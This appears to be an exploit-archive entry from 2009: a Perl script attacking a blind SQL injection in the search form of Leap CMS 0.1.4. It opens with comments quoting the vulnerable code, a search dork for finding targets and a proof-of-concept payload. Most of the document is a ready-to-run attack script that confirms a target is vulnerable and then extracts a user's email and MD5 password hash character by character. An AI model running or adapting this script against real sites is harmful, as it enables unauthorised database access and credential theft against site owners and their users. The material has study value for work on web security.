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# Title : Leap CMS 0.1.4 (searchterm) Blind SQL Injection Exploit
# Published : 2009-04-30
# Author : YEnH4ckEr
# Previous Title : pecio cms 1.1.5 (index.php language) Local File Inclusion Vulnerability
# Next Title : Leap CMS 0.1.4 (SQL/XSS/SU) Multiple Remote Vulnerabilities
#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#** **
#** **
#** [] [] [] [][][][> [] [] [][ ][] [] [][]] [] [> [][][][> [][][][] **
#** || || || [] [][] [] [] [] [] [] [] [] [] [] [] **
# [> [][][][] [][][][> [] [] [] [] [] [][] [] [][] [][][][> [] [] **
#** [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---
#**==[> [] [] [] [][] [] [] [][][] [] [][] [] [] [] >>--
#** [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/
# [> [[[]]] [][][][> [][] [] [][[] [[]] [][] [][][] [] [> [][][][> <][] []
#** **
#** **
#** ??VIVA SPAIN!...??GANAREMOS EL MUNDIAL!...o.O **
#** ??PROUD TO BE SPANISH! **
#** **
#***********************************************************************************************
#***********************************************************************************************
#
#----------------------------------------------------------------------------------------------
#| (Search Post Form) BLIND SQL INJECTION (BSQLi) EXPLOIT |
#|--------------------------------------------------------------------------------------------|
#| | Leap CMS 0.1.4 | |
#| CMS INFORMATION: --------------------- |
#| |
#|-->WEB: http://leap.gowondesigns.com/ |
#|-->DOWNLOAD: http://leap.gowondesigns.com/download.php?leap014.zip |
#|-->DEMO: http://php.opensourcecms.com/scripts/details.php?scriptid=161&name=Leap |
#|-->CATEGORY: CMS / Lite |
#|-->DESCRIPTION: Leap is a single file, template independent, open-source, |
#| standards-compliant,extensible content management system for the web... |
#|-->RELEASED: 2009-03-13 |
#| |
#| CMS VULNERABILITY: |
#| |
#|-->TESTED ON: firefox 3 |
#|-->DORK: "Powered by Leap" |
#|-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT |
#|-->AFFECT VERSION: LAST = 0.1.4 (Maybe <= ?) |
#|-->Discovered Bug date: 2009-04-25 |
#|-->Reported Bug date: 2009-04-25 |
#|-->Fixed bug date: Not fixed |
#|-->Info patch (????): Not fixed |
#|-->Author: YEnH4ckEr |
#|-->mail: y3nh4ck3r[at]gmail[dot]com |
#|-->WEB/BLOG: N/A |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) |
#----------------------------------------------------------------------------------------------
#
#-----------
#BUG FILE:
#-----------
#
#Path --> [HOME_PATH]/leap.php
#
#
#
#function contentSearch() {
#
# ...
#
#
#if($searchterm=='') return FALSE;
#
# ...
#
# if (eregi(" AND | NOT | OR ",$search,$matches)) $search=str_replace($matches,'',$search); <-------BYPASSED (/**/)
#
# $keywords = explode(' ', $search); //print_r($keywords); <---------BYPASSED (/**/)
#
# ...
#
# $query = "SELECT * FROM ".db('prefix')."content WHERE published='1' AND"; <----------START QUERY
#
# if ($keyCount > 1) {
#
# ...
#
# }
# else {
#
# $query .=" (INSTR(`title`, '$keywords[0]') > '0' || INSTR(`body`, '$keywords[0]') > '0' || ...)";} <--------INJECTION HERE
# $pquery=$query.';'; $query.=" ORDER BY mod_date DESC LIMIT $pg, $max;"; //echo $query;
#
# ...
#
# }
#
#}
#
#------------
#CONDITIONS:
#------------
#
#**gpc_magic_quotes=off
#
#---------------------------------------
#PROOF OF CONCEPT (BLIND SQL INJECTION):
#---------------------------------------
#
#SEARCH --> a')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/1=1#
#
#Return: Search for 'a'
#
#######################################################################
#######################################################################
##*******************************************************************##
## ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)! ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
## GREETZ TO: JosS and all SPANISH Hack3Rs community! ##
##*******************************************************************##
#######################################################################
#######################################################################
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
$linux="0";
}else{
$linux="1";
}
if($linux){
system("clear");
}
else{
system("cls");
system ("title Leap CMS 0.1.4 (BLIND SQL Injection) Exploit");
system ("color 04");
}
}
sub request {
my $userag = LWP::UserAgent->new;
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
my $request = HTTP::Request -> new(POST => $_[0]);
$request->content_type('application/x-www-form-urlencoded');
$request->content($_[1]);
my $outcode= $userag->request($request)->as_string;
return $outcode;
}
sub helper {
print "nt[<-->] Leap CMS 0.1.4 - (BLIND SQL Injection) Exploitn";
print "t[<-->] USAGE MODE: [<-->]n";
print "t[<-->] perl $0 [HOST] [PATH] [Search] [Id]n";
print "t[<-->] [HOST]: Web.n";
print "t[<-->] [PATH]: Home Path.n";
print "t[<-->] [Search]: Something. Default: a (**optional)n";
print "t[<-->] [id]: Id user. Default: 1 (**optional)n";
print "t[<-->] Example: perl $0 'www.example.es' 'leap-CMS' 'a' '1'n";
}
sub lengthuser{
#First, user length...
$exit=0;
$i=0;
while($exit==0){
my $searchinjected="searchterm=".$_[2]."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/(SELECT/*y3nh4ck3r*/length(mail)/*y3nh4ck3r*/FROM/*y3nh4ck3r*/users/*y3nh4ck3r*/WHERE/*y3nh4ck3r*/id=".$_[1].")=".$i++."#"; #injected code
$output=&request($_[0],$searchinjected);
if ( $output =~ (/No Results Found./))
{
$exit=0;
}else{
$exit=1;
}
}
#Save column length
$lengthuser=$i-1;
print "t<<<<<--------------------------------------------------------->>>>>n";
print "tUser Length catched!n";
print "tUser Length: ".$lengthuser."n";
print "tBruteforcing values...n";
print "t<<<<<--------------------------------------------------------->>>>>n";
return $lengthuser;
}
sub bruteforcing {
my $values="";
#Getting datas
$j=1;
$i=46;
while(($j<=$_[2]) && ($i<=126)){
my $searchinjected="searchterm=".$_[4]."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/ascii(substring((SELECT/*y3nh4ck3r*/".$_[3]."/*y3nh4ck3r*/FROM/*y3nh4ck3r*/users/*y3nh4ck3r*/WHERE/*y3nh4ck3r*/id='".$_[1]."'),".$j.",1))=".$i."#"; #injected code
$output=&request($_[0],$searchinjected);
if ( $output !~ (/No Results Found./))
{
$values=$values.chr($i);
$j++;
$i=45;
}
if($i==57)
{
$i=63; #@
}
if($i==64)
{
$i=96;
}
#new char
$i++;
}
#Error
if(($i>127) || ($j>$_[2])){
if(!$values){
print "t<<<<<--------------------------------------------------------->>>>>n";
print "tEXPLOIT FAILED!n";
print "tFatal error: Datas doesn't find!n";
print "tCause: Maybe you have to include more characters on bruteforcing...n";
print "t<<<<<--------------------------------------------------------->>>>>n";
exit(1);
}
}
return $values;
}
#Main
&lw;
print "tt#######################################################nn";
print "tt#######################################################nn";
print "tt## Leap CMS 0.1.4 - (BLIND SQL Injection) Exploit ##nn";
print "tt## ++Conditions: Need magic_quotes=off ##nn";
print "tt## Author: Y3nh4ck3r ##nn";
print "tt## Contact:y3nh4ck3r[at]gmail[dot]com ##nn";
print "tt## Proud to be Spanish! ##nn";
print "tt#######################################################nn";
print "tt#######################################################nn";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
#Build the uri
my $finalhost="http://".$host."/".$path."/index.php?search";
#Check all variables needed
$numArgs = $#ARGV + 1;
if($numArgs<=1)
{
&helper;
exit(1);
}
#Search parameter. It's optional. Default:a
if(!$ARGV[2]){
$search="a";
}else{
$search=$ARGV[2];
}
#Id-user is optional.Default:1
if(!$ARGV[3]){
$idhacked="1";
}else{
$idhacked=$ARGV[3];
}
#Testing blind sql injection
my $finalrequest = $finalhost;
#Test blind sql injection
my $searchinjected="searchterm=".$search."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/1=1#"; #injected code
$output=&request($finalrequest, $searchinjected);
if ( $output =~ (/No Results Found./))
{
print "t<<<<<--------------------------------------------------------->>>>>n";
print "tThis Web is not vulnerable!n";
print "t--->Maybe:n";
print "t1.-Patched or gpc_magic_quotes=offn";
print "t2.-Search parameter hasn't found. Try other!n";
print "tEXPLOIT FAILED!n";
print "t<<<<<--------------------------------------------------------->>>>>n";
exit(1);
}else{
print "t<<<<<--------------------------------------------------------->>>>>n";
print "tWeb is vulnerable!n";
print "tTested Blind SQL Injection.n";
print "tChecking id user...n";
print "t<<<<<--------------------------------------------------------->>>>>n";
}
#Test if user exists
my $searchinjected="searchterm=".$search."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/(SELECT/*y3nh4ck3r*/COUNT(*)/*y3nh4ck3r*/FROM/*y3nh4ck3r*/users/*y3nh4ck3r*/WHERE/*y3nh4ck3r*/id='".$idhacked."')#"; #injected code
$output=&request($$finalrequest,$searchinjected);
if ( $output =~ (/No Results Found./))
{
print "t<<<<<--------------------------------------------------------->>>>>n";
print "tUser doesn't exists!n";
print "tEXPLOIT FAILED!n";
print "t<<<<<--------------------------------------------------------->>>>>n";
exit(1);
}else{
print "t<<<<<--------------------------------------------------------->>>>>n";
print "tOK...The user exists!n";
print "tStarting exploit...n";
print "t<<<<<--------------------------------------------------------->>>>>n";
print "tWait several minutes...n";
print "t<<<<<--------------------------------------------------------->>>>>n";
}
#Bruteforcing user...
$length_mail=&lengthuser($finalrequest,$idhacked,$search);
$email=&bruteforcing($finalrequest,$idhacked,$length_mail,'mail',$search);
if(length($email)!=$length_mail)
{
print "t<<<<<--------------------------------------------------------->>>>>n";
print "tEXPLOIT FAILED!n";
print "tFatal error: Different length email!n";
print "tCause: Maybe you have to include more characters on bruteforcing...n";
print "t<<<<<--------------------------------------------------------->>>>>n";
exit(1);
}
print "t<<<<<--------------------------------------------------------->>>>>n";
print "tGot user!n";
print "tBruteforcing password hash (md5)...n";
print "t<<<<<--------------------------------------------------------->>>>>n";
#Bruteforcing password...
$passhash=&bruteforcing($finalrequest,$idhacked,32,'pwd',$search); #it isn't needed length
print "ntt*************************************************n";
print "tt**** EXPLOIT EXECUTED (LeapCMS 0.1.4 BSQLi) ****n";
print "tt*************************************************nn";
print "ttUser-id:".$idhacked."n";
print "ttE-mail:".$email."n";
print "ttUser-password(hash):".$passhash."nn";
print "ntt<<----------------------FINISH!-------------------->>nn";
print "tt<<---------------Thanks to: y3hn4ck3r-------------->>nn";
print "tt<<------------------------EOF---------------------->>nn";
exit(1);
#Ok...all job done
# www.Syue.com [2009-04-30]